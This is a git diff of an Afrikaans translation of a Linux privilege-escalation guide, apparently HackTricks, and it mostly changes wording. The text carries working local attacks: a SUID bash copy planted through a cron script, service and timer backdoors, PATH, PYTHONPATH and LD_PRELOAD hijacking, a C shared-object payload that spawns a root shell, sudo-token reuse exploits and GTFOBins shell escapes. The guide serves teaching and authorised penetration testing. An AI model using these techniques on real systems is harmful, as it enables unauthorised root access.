## Prosesse
|
||||
|
||||
@ -188,7 +188,7 @@ However, remember that **as a regular user you can read the memory of the proces
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug wees, solank hulle die dieselfde uid het. This is the classical way of how ptracing worked.
|
||||
> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer proses kan gedebug wees.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit CAP_SYS_PTRACE vermoë vereis.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE vermoë vereis.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptracing weer te aktiveer.
|
||||
|
||||
#### GDB
|
||||
@ -296,7 +296,7 @@ Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.
|
||||
| Gnome Sleutelhanger (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Aktiewe FTP Verbindinge) | vsftpd |
|
||||
| Apache2 (Aktiewe HTTP Basiese Auth Sessions) | apache2 |
|
||||
| Apache2 (Aktiewe HTTP Basiese Auth Sessies) | apache2 |
|
||||
| OpenSSH (Aktiewe SSH Sessies - Sudo Gebruik) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **simboliese skakelgids na 'n ander een** te skep wat 'n skrip wat deur jou beheer word, bedien.
|
||||
As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, mag dit nuttig wees om daardie gids te verwyder en **'n simboliese skakelgids na 'n ander een te skep** wat 'n skrip wat deur jou beheer word, bedien.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -380,32 +380,32 @@ Dit is moontlik om 'n cronjob te skep **wat 'n terugkeerkarakter na 'n opmerking
|
||||
|
||||
### Skryfbare _.service_ lêers
|
||||
|
||||
Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **gestart**, **herstart** of **gestop** word (miskien moet jy wag totdat die masjien herbegin word).\
|
||||
Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`**
|
||||
Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **terugdeur** **uitvoer** wanneer die diens **gestart**, **herstart** of **gestop** word (miskien moet jy wag totdat die masjien herbegin word).\
|
||||
Byvoorbeeld, skep jou terugdeur binne die .service lêer met **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Skryfbare diens binaire
|
||||
|
||||
Hou in gedagte dat as jy **skryfregte oor binaire het wat deur dienste uitgevoer word**, jy dit kan verander na backdoors sodat wanneer die dienste weer uitgevoer word, die backdoors uitgevoer sal word.
|
||||
Hou in gedagte dat as jy **skryfregte oor binaire** wat deur dienste uitgevoer word het, jy hulle kan verander vir terugdeure sodat wanneer die dienste weer uitgevoer word, die terugdeure uitgevoer sal word.
|
||||
|
||||
### systemd PAD - Relatiewe Pade
|
||||
|
||||
Jy kan die PAD wat deur **systemd** gebruik word, sien met:
|
||||
Jy kan die PAD wat deur **systemd** gebruik word sien met:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
As jy vind dat jy kan **skryf** in enige van die vouers van die pad, mag jy in staat wees om **privileges te verhoog**. Jy moet soek na **relatiewe paaie wat in dienskonfigurasie** lêers gebruik word soos:
|
||||
As jy vind dat jy kan **skryf** in enige van die vouers van die pad, mag jy in staat wees om **privileges te eskaleer**. Jy moet soek na **relatiewe pades wat in dienskonfigurasie** lêers gebruik word soos:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad binêre** binne die systemd PATH-gids waar jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Begin**, **Stop**, **Herlaai**), sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
|
||||
Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids waar jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Begin**, **Stop**, **Herlaai**), sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
|
||||
|
||||
**Leer meer oor dienste met `man systemd.service`.**
|
||||
|
||||
## **Timers**
|
||||
|
||||
**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone loop.
|
||||
**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone uitgevoer word.
|
||||
|
||||
Jy kan al die timers opnoem met:
|
||||
```bash
|
||||
@ -413,7 +413,7 @@ systemctl list-timers --all
|
||||
```
|
||||
### Skryfbare timers
|
||||
|
||||
As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige instansies van systemd.unit (soos 'n `.service` of 'n `.target`)
|
||||
As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige voorwerpe van systemd.unit (soos 'n `.service` of 'n `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
@ -424,7 +424,7 @@ In die dokumentasie kan jy lees wat die Eenheid is:
|
||||
Daarom, om hierdie toestemming te misbruik, moet jy:
|
||||
|
||||
- Vind 'n systemd eenheid (soos 'n `.service`) wat **'n skryfbare binêre uitvoer**
|
||||
- Vind 'n systemd eenheid wat **'n relatiewe pad uitvoer** en jy het **skryfbare regte** oor die **systemd PAD** (om daardie uitvoerbare te verteenwoordig)
|
||||
- Vind 'n systemd eenheid wat **'n relatiewe pad uitvoer** en jy het **skryfbare regte** oor die **systemd PAD** (om daardie uitvoerbare te verpersoonlik)
|
||||
|
||||
**Leer meer oor timers met `man systemd.timer`.**
|
||||
|
||||
@ -441,7 +441,7 @@ Let wel die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/
|
||||
|
||||
Unix Domain Sockets (UDS) stel **proses kommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers.
|
||||
|
||||
Sockets kan gekonfigureer word met `.socket` lêers.
|
||||
Sockets kan gekonfigureer word met behulp van `.socket` lêers.
|
||||
|
||||
**Leer meer oor sockets met `man systemd.socket`.** Binne hierdie lêer kan verskeie interessante parameters gekonfigureer word:
|
||||
|
||||
@ -485,7 +485,7 @@ Let daarop dat daar dalk **sokke is wat luister na HTTP** versoeke (_Ek praat ni
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n sekuriteitskwesbaarheid** ontgin.
|
||||
As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n sekuriteitskwessie** benut.
|
||||
|
||||
### Skryfbare Docker Socket
|
||||
|
||||
@ -546,7 +546,7 @@ docker-security/
|
||||
|
||||
## Containerd (ctr) voorregverhoging
|
||||
|
||||
As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**:
|
||||
As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
|
||||
|
||||
{{#ref}}
|
||||
containerd-ctr-privilege-escalation.md
|
||||
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
|
||||
|
||||
## **RunC** voorregverhoging
|
||||
|
||||
As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**:
|
||||
As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
|
||||
|
||||
{{#ref}}
|
||||
runc-privilege-escalation.md
|
||||
@ -562,15 +562,15 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Dit is ontwerp met die moderne Linux-stelsel in gedagte en bied 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie.
|
||||
D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie.
|
||||
|
||||
Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domein sokke**. Boonop help dit om gebeurtenisse of seine te versprei, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn.
|
||||
Die stelsel is veelsydig, wat basiese IPC ondersteun wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domein sokette**. Boonop help dit om gebeurtenisse of seine te versprei, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn.
|
||||
|
||||
D-Bus werk op 'n **toelaat/ontken model**, wat boodskaptoestemmings (metode-aanroepe, seinuitstralings, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik voorregverhoging deur die uitbuiting van hierdie toestemmings toelaat.
|
||||
|
||||
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker uiteensit om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang.
|
||||
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker om te besit, na te stuur en boodskappe van `fi.w1.wpa_supplicant1` te ontvang, uiteensit.
|
||||
|
||||
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" kontekstuele beleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
|
||||
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "standaard" kontekstuele beleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -612,9 +612,9 @@ cat /etc/networks
|
||||
#Files used by network services
|
||||
lsof -i
|
||||
```
|
||||
### Oop poorte
|
||||
### Ope poorte
|
||||
|
||||
Kontroleer altyd netwerkdienste wat op die masjien loop wat jy nie kon interaksie mee hê voordat jy toegang verkry het nie:
|
||||
Kontroleer altyd netwerkdienste wat op die masjien loop wat jy nie kon interaksie mee hê nie voordat jy dit toegang verkry het:
|
||||
```bash
|
||||
(netstat -punta || ss --ntpu)
|
||||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
@ -687,7 +687,7 @@ As jy **enige wagwoord** van die omgewing **ken, probeer om in te log as elke ge
|
||||
|
||||
### Su Brute
|
||||
|
||||
As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar teenwoordig, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force.
|
||||
|
||||
## Skryfbare PATH misbruik
|
||||
@ -698,7 +698,7 @@ As jy vind dat jy **binne 'n sekere gids van die $PATH kan skryf**, mag jy in st
|
||||
|
||||
### SUDO en SUID
|
||||
|
||||
Jy mag toegelaat word om 'n sekere opdrag met sudo uit te voer of hulle mag die suid-bietjie hê. Kontroleer dit met:
|
||||
Jy mag toegelaat word om 'n sekere opdrag met sudo uit te voer of hulle mag die suid-biet hê. Kontroleer dit met:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -714,7 +714,7 @@ less>! <shell_comand>
|
||||
```
|
||||
### NOPASSWD
|
||||
|
||||
Sudo-konfigurasie mag 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken.
|
||||
Sudo-konfigurasie mag 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se regte uit te voer sonder om die wagwoord te ken.
|
||||
```
|
||||
$ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
@ -732,7 +732,7 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwetsbaar** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word:
|
||||
Hierdie voorbeeld, **gebaseer op HTB masjien Admirer**, was **kwulnerabel** vir **PYTHONPATH hijacking** om 'n arbitrêre python biblioteek te laai terwyl die skrip as root uitgevoer word:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
@ -763,7 +763,7 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binêre)**.
|
||||
Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag uitvoer sonder om die pad daarna toe te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binêre)**.
|
||||
|
||||
[Payload voorbeelde om uit te voer.](payloads-to-execute.md)
|
||||
|
||||
@ -785,9 +785,9 @@ Die **LD_PRELOAD** omgewing veranderlike word gebruik om een of meer gedeelde bi
|
||||
Om egter die stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes:
|
||||
|
||||
- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_).
|
||||
- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpade wat ook suid/sgid is, vooraf gelaai.
|
||||
- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaard paaie wat ook suid/sgid is, vooraf gelaai.
|
||||
|
||||
Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede.
|
||||
Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID Binêre – .so inspuiting
|
||||
|
||||
Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag te loop:
|
||||
Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
@ -853,13 +853,13 @@ void inject(){
|
||||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
}
|
||||
```
|
||||
Hierdie kode, wanneer dit gecompileer en uitgevoer word, is daarop gemik om voorregte te verhoog deur lêer toestemmings te manipuleer en 'n skulp met verhoogde voorregte uit te voer.
|
||||
Hierdie kode, wanneer dit gecompileer en uitgevoer word, is daarop gemik om voorregte te verhoog deur lêer toestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer.
|
||||
|
||||
Compileer die bogenoemde C-lêer in 'n gedeelde objek (.so) lêer met:
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
Uiteindelik, die uitvoering van die geraakte SUID-binary behoort die exploit te aktiveer, wat moontlike stelselskompromie toelaat.
|
||||
Uiteindelik, die uitvoering van die aangetaste SUID-binary behoort die exploit te aktiveer, wat moontlike stelselskompromie moontlik maak.
|
||||
|
||||
## Gedeelde Objekt Hijacking
|
||||
```bash
|
||||
@ -901,13 +901,17 @@ Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om
|
||||
> strace -o /dev/null /bin/sh\
|
||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfoargs.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfoargs.github.io/
|
||||
{{#endref}}
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
As jy toegang kan kry tot `sudo -l`, kan jy die hulpmiddel [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te benut.
|
||||
As jy toegang tot `sudo -l` kan kry, kan jy die hulpmiddel [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te benut.
|
||||
|
||||
### Hergebruik van Sudo Tokens
|
||||
|
||||
@ -918,13 +922,13 @@ Vereistes om voorregte te eskaleer:
|
||||
- Jy het reeds 'n shell as gebruiker "_sampleuser_"
|
||||
- "_sampleuser_" het **`sudo` gebruik** om iets in die **laaste 15min** uit te voer (per standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om enige wagwoord in te voer)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` is 0
|
||||
- `gdb` is toeganklik (jy kan dit oplaai)
|
||||
- `gdb` is toeganklik (jy moet in staat wees om dit op te laai)
|
||||
|
||||
(Jy kan tydelik `ptrace_scope` inskakel met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent `/etc/sysctl.d/10-ptrace.conf` wysig en `kernel.yama.ptrace_scope = 0` stel)
|
||||
|
||||
As al hierdie vereistes nagekom word, **kan jy voorregte eskaleer met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy sal nie outomaties 'n root-shell kry nie, doen `sudo su`):
|
||||
- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy sal nie outomaties 'n root shell kry nie, doen `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -935,7 +939,7 @@ sudo su
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
- Die **derde eksploit** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo-tokenne ewigdurend maak en alle gebruikers toelaat om sudo te gebruik**
|
||||
- Die **derde eksploit** (`exploit_v3.sh`) sal **n sudoers-lêer skep** wat **sudo-tokenne ewige maak en alle gebruikers toelaat om sudo te gebruik**
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
@ -1002,7 +1006,7 @@ Die lêer `/etc/ld.so.conf` dui aan **waar die gelaaide konfigurasielêers vanda
|
||||
|
||||
Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **soek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel biblioteke binne `/usr/local/lib` gaan soek**.
|
||||
|
||||
As om een of ander rede **'n gebruiker skryfregte** op enige van die aangeduide pades het: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf`, kan hy dalk in staat wees om voorregte te verhoog.\
|
||||
As om een of ander rede **'n gebruiker skryfregte het** op enige van die aangeduide pades: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf`, kan hy dalk in staat wees om voorregte te verhoog.\
|
||||
Kyk na **hoe om hierdie miskonfigurasie te benut** op die volgende bladsy:
|
||||
|
||||
{{#ref}}
|
||||
@ -1044,7 +1048,7 @@ execve(file,argv,0);
|
||||
```
|
||||
## Vermoëns
|
||||
|
||||
Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko's van uitbuiting verlaag.\
|
||||
Linux vermoëns bied 'n **substel van die beskikbare wortelregte aan 'n proses**. Dit breek effektief wortel **regte op in kleiner en kenmerkende eenhede**. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel regte verminder, wat die risiko van uitbuiting verlaag.\
|
||||
Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**:
|
||||
|
||||
{{#ref}}
|
||||
@ -1058,7 +1062,7 @@ Die **"lees"** bit impliseer dat die gebruiker kan **lys** die **lêers**, en di
|
||||
|
||||
## ACLs
|
||||
|
||||
Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer- of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word.
|
||||
Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word.
|
||||
|
||||
**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer:
|
||||
```bash
|
||||
@ -1071,14 +1075,14 @@ setfacl -b file.txt #Remove the ACL of the file
|
||||
```bash
|
||||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Open shell sessions
|
||||
## Oopmaak van skaal sessies
|
||||
|
||||
In **ou weergawe** kan jy **hijack** sommige **shell** sessies van 'n ander gebruiker (**root**).\
|
||||
In **nuutste weergawes** sal jy in staat wees om slegs aan skerm sessies van **jou eie gebruiker** te **verbinde**. Jy kan egter **interessante inligting binne die sessie** vind.
|
||||
In **nuutste weergawes** sal jy in staat wees om slegs aan skaal sessies van **jou eie gebruiker** te **verbinde**. Tog kan jy **interessante inligting binne die sessie** vind.
|
||||
|
||||
### screen sessions hijacking
|
||||
### skaal sessies hijacking
|
||||
|
||||
**Lys skerm sessies**
|
||||
**Lys skaal sessies**
|
||||
```bash
|
||||
screen -ls
|
||||
screen -ls <username>/ # Show another user' screen sessions
|
||||
@ -1120,7 +1124,7 @@ Kontroleer **Valentine box van HTB** vir 'n voorbeeld.
|
||||
### Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166
|
||||
|
||||
Alle SSL en SSH sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, mag deur hierdie fout geraak word.\
|
||||
Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh publieke sleutel kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Interessante konfigurasiewaarde
|
||||
|
||||
@ -1130,24 +1134,24 @@ Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep wo
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
Gee aan of root met ssh kan aanmeld, die standaard is `no`. Moontlike waardes:
|
||||
Gee aan of root kan aanmeld met ssh, die standaard is `no`. Moontlike waardes:
|
||||
|
||||
- `yes`: root kan aanmeld met wagwoord en private sleutel
|
||||
- `without-password` of `prohibit-password`: root kan slegs met 'n private sleutel aanmeld
|
||||
- `forced-commands-only`: Root kan slegs met 'n private sleutel aanmeld en as die opdragopsies gespesifiseer is
|
||||
- `no` : nee
|
||||
- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel
|
||||
- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is
|
||||
- `no` : geen
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Gee lêers aan wat die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld:
|
||||
Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
